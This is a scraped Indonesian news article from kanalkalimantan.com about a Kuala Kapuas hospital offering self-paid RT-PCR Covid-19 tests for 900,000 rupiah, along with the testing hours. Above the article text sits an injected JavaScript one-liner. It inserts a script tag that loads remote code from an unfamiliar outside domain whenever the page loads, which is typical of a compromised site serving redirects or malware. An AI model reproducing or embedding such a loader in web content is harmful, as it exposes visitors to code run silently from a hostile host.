(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Diagnosis pasien yang terduga terinfeksi Covid-19 dibutuhkan pemeriksaan laboratorium dengan menggunakan metode deteksi molekuler/Nucleic Acid Amplification Test (NAAT), seperti pemeriksaan Real Time Polymerase Chain Reaction (RT-PCR).
Berkenaan dengan banyaknya permintaan tes mandiri dari masyarakat umum terkait RT-PCR syarat atau kewajiban untuk melaksanakan pekerjaan di perusahaan maupun lainnya, maka RSUD dr H Soemarno Sosroatmodjo Kuala Kapuas menyediakan fasilitas pelayanan pemeriksaan RT-PCR untuk umum atau mandiri.
Direktur RSUD dr H Soemarno Sosroatmodjo Kuala Kapuas dr Agus Waluyo melalui Kepala Seksi Penunjang Medis Yessie SSos menjelaskan bahwa pemeriksaan RT-PCR yang dilakukan oleh rumah sakit atau laboratorium saat ini memiliki tarif yang bervariasi, sehingga menimbulkan ketidakpastian bagi seluruh pihak terkait dalam pelayanan pemeriksaan RT-PCR.
“Berdasarkan hal tersebut, RSUD dr H Soemarno Sosroatmodjo Kuala Kapuas menerapkan standar tarif pemeriksaan RT-PCR, tarif tersebut berlaku untuk masyarakat yang melakukan pemeriksaan RT-PCR atas permintaan sendiri atau mandiri,” jelas Yessie, Selasa (23/2/2021) di RSUD dr H Soemarno Sosroadmodjo Kuala Kapuas.
Menurutnya batasan tarif itu tidak berlaku untuk kegiatan penelusuran kontak atau rujukan kasus Covid-19 ke rumah sakit yang penyelenggaraannya mendapatkan bantuan pemeriksaan RT-PCR dari pemerintah atau merupakan bagian dari penjaminan pembiayaan pasien Covid-19.
“Adapun tarif untuk pemeriksaan RT-PCR untuk permintaan sendiri atau mandiri yaitu 900 ribu rupiah dengan waktu pemeriksaan setiap hari kerja, Senin hingga Sabtu, pada pukul 08.30 sampai dengan 10.00 WIB, 12.00 WIB, dan 14.00 WIB, serta untuk hasil RT-PCR pun dapat selesai dengan cepat dalam sehari pengerjaan di Laboratorium Klinik Rumah Sakit Kapuas,” terangnya.
Dirinya berharap dengan adanya tambahan pelayanan RT-PCR mandiri ini, dapat membantu masyarakat Kabupaten Kapuas dan sekitarnya mendapat kemudahan untuk pemeriksaan kesehatan dan menjalankan aktifitas pekerjaan yang penting atau tidak dapat ditunda. (kanalkalimantan.com/ags)
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.